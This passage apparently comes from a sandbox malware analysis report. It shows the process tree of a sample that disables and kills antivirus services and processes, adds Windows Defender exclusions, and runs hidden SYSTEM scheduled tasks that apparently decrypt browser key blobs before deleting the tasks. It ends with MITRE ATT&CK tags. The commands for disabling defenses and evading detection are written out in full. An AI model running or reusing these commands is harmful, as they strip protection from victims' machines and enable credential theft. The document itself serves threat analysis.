  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "WebrootSecureAnywhere"
      4⤵
      Launches sc.exe
      PID:1436
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "TotalSecurity" start= disabled
      4⤵
      PID:5344
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "TotalSecurity"
      4⤵
      Launches sc.exe
      PID:124
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "IKEEXE" start= disabled
      4⤵
      Launches sc.exe
      PID:6048
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "IKEEXE"
      4⤵
      Launches sc.exe
      PID:6128
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "ZoneAlarm" start= disabled
      4⤵
      Launches sc.exe
      PID:5912
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "ZoneAlarm"
      4⤵
      PID:6084
  - - C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /F /IM avastui.exe /T
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5976
  - - C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /F /IM avgnt.exe /T
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5932
  - - C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /F /IM avgui.exe /T
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2792
  - - C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /F /IM ccSvcHst.exe /T
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2224
  - - C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /F /IM mcshield.exe /T
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3684
  - - C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /F /IM msmpeng.exe /T
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5172
  - - C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /F /IM kav.exe /T
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3408
  - - C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /F /IM kaspersky.exe /T
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4196
  - - C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /F /IM bdagent.exe /T
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:6068
  - - C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /F /IM ekrn.exe /T
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:912
  - - C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /F /IM egui.exe /T
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2940
  - - C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /F /IM mbam.exe /T
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3448
  - - C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /F /IM mbamservice.exe /T
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5260
  - - C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /F /IM TMBMSRV.exe /T
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4136
  - - C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /F /IM PccNTMon.exe /T
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4252
  - - C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /F /IM 360tray.exe /T
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3296
  - - C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /F /IM 360sd.exe /T
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2628
  - - C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /F /IM WRSA.exe /T
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3052
  - - C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /F /IM vsserv.exe /T
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5844
  - - C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /F /IM V3Svc.exe /T
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5632
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Set-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\ProfileSync""
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2232
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Set-MpPreference -ExclusionProcess "ProfileSync""
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:2744
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Set-MpPreference -ExclusionPath "C:\Windows\system32\svchost.exe""
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:4140
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Set-MpPreference -ExclusionProcess "svchost.exe""
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:4684
- - C:\Users\Admin\AppData\Local\Temp\_MEI25602\app\shell_helper.exe
    C:\Users\Admin\AppData\Local\Temp\_MEI25602\app\shell_helper.exe add_exclusion QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxMb2NhbFxNaWNyb3NvZnRcV2luZG93c1xQcm9maWxlU3luYw==
    3⤵
    PID:5004
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Set-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Microsoft\Windows\ProfileSync""
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:4672
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Set-MpPreference -ExclusionProcess "ProfileSync""
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:5216
- - C:\Users\Admin\AppData\Local\Temp\_MEI25602\app\shell_helper.exe
    C:\Users\Admin\AppData\Local\Temp\_MEI25602\app\shell_helper.exe re-enable_defender
    3⤵
    PID:4736
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Set-MpPreference -DisableRealtimeMonitoring $false -DisableBehaviorMonitoring $false -DisableOnAccessProtection $false -DisableIOAVProtection $false -DisablePrivacyMode $false -MAPSReporting 1 -SubmitSamplesConsent 1"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:5880
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" config WinDefend start= demand
      4⤵
      Launches sc.exe
      PID:912
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" start WinDefend
      4⤵
      Launches sc.exe
      PID:6068
- - C:\Windows\System32\Wbem\wmic.exe
    wmic computersystem get model
    3⤵
    PID:3304
- - C:\Windows\SYSTEM32\getmac.exe
    getmac /FO CSV /NH
    3⤵
    PID:4516
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /delete /tn DecryptABE_2716_d49a52da /f"
    3⤵
    - Indicator Removal: Clear Persistence
    PID:5856
  - - C:\Windows\system32\schtasks.exe
      schtasks /delete /tn DecryptABE_2716_d49a52da /f
      4⤵
      PID:5888
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "$action = New-ScheduledTaskAction -Execute \"powershell.exe\" -Argument \"-NoProfile -WindowStyle Hidden -Command & 'C:\Users\Admin\AppData\Local\Temp\_MEI25602\app\helper.exe' 'C:\Users\Admin\AppData\Local\Temp\_abe_outer_2716_d49a52da.bin' 'C:\Users\Admin\AppData\Local\Temp\_abe_inner_2716_d49a52da.bin'\"; $principal = New-ScheduledTaskPrincipal -UserId \"NT AUTHORITY\SYSTEM\" -LogonType ServiceAccount -RunLevel Highest; $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -Hidden; $task = New-ScheduledTask -Action $action -Principal $principal -Settings $settings; Register-ScheduledTask -TaskName \"DecryptABE_2716_d49a52da\" -InputObject $task -Force; Start-ScheduledTask -TaskName \"DecryptABE_2716_d49a52da\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4940
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /delete /tn DecryptABE_2716_d49a52da /f"
    3⤵
    - Indicator Removal: Clear Persistence
    PID:5516
  - - C:\Windows\system32\schtasks.exe
      schtasks /delete /tn DecryptABE_2716_d49a52da /f
      4⤵
      PID:4160
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /delete /tn DecryptKSP_2716_01572de7 /f"
    3⤵
    - Indicator Removal: Clear Persistence
    PID:1460
  - - C:\Windows\system32\schtasks.exe
      schtasks /delete /tn DecryptKSP_2716_01572de7 /f
      4⤵
      PID:1672
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "$action = New-ScheduledTaskAction -Execute \"powershell.exe\" -Argument \"-NoProfile -WindowStyle Hidden -Command & 'C:\Users\Admin\AppData\Local\Temp\_MEI25602\app\ksp_helper.exe' 'C:\Users\Admin\AppData\Local\Temp\_ksp_blob_2716_01572de7.bin' 'C:\Users\Admin\AppData\Local\Temp\_ksp_out_2716_01572de7.bin' '785435725a573571565662727670754100'\"; $principal = New-ScheduledTaskPrincipal -UserId \"NT AUTHORITY\SYSTEM\" -LogonType ServiceAccount -RunLevel Highest; $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -Hidden; $task = New-ScheduledTask -Action $action -Principal $principal -Settings $settings; Register-ScheduledTask -TaskName \"DecryptKSP_2716_01572de7\" -InputObject $task -Force; Start-ScheduledTask -TaskName \"DecryptKSP_2716_01572de7\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4564
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /delete /tn DecryptKSP_2716_01572de7 /f"
    3⤵
    - Indicator Removal: Clear Persistence
    PID:3920
  - - C:\Windows\system32\schtasks.exe
      schtasks /delete /tn DecryptKSP_2716_01572de7 /f
      4⤵
      PID:1640

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -NoProfile -WindowStyle Hidden -Command & 'C:\Users\Admin\AppData\Local\Temp\_MEI25602\app\helper.exe' 'C:\Users\Admin\AppData\Local\Temp\_abe_outer_2716_d49a52da.bin' 'C:\Users\Admin\AppData\Local\Temp\_abe_inner_2716_d49a52da.bin'
1⤵
- Command and Scripting Interpreter: PowerShell
PID:5940
- C:\Users\Admin\AppData\Local\Temp\_MEI25602\app\helper.exe
  "C:\Users\Admin\AppData\Local\Temp\_MEI25602\app\helper.exe" C:\Users\Admin\AppData\Local\Temp\_abe_outer_2716_d49a52da.bin C:\Users\Admin\AppData\Local\Temp\_abe_inner_2716_d49a52da.bin
  2⤵
  PID:3944

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -NoProfile -WindowStyle Hidden -Command & 'C:\Users\Admin\AppData\Local\Temp\_MEI25602\app\ksp_helper.exe' 'C:\Users\Admin\AppData\Local\Temp\_ksp_blob_2716_01572de7.bin' 'C:\Users\Admin\AppData\Local\Temp\_ksp_out_2716_01572de7.bin' '785435725a573571565662727670754100'
1⤵
- Command and Scripting Interpreter: PowerShell
PID:5380
- C:\Users\Admin\AppData\Local\Temp\_MEI25602\app\ksp_helper.exe
  "C:\Users\Admin\AppData\Local\Temp\_MEI25602\app\ksp_helper.exe" C:\Users\Admin\AppData\Local\Temp\_ksp_blob_2716_01572de7.bin C:\Users\Admin\AppData\Local\Temp\_ksp_out_2716_01572de7.bin 785435725a573571565662727670754100
  2⤵
  PID:2212

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Hide Artifacts

T1564

Ignore Process Interrupts

T1564.011

Impair Defenses

T1562

Disable or Modify Tools

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry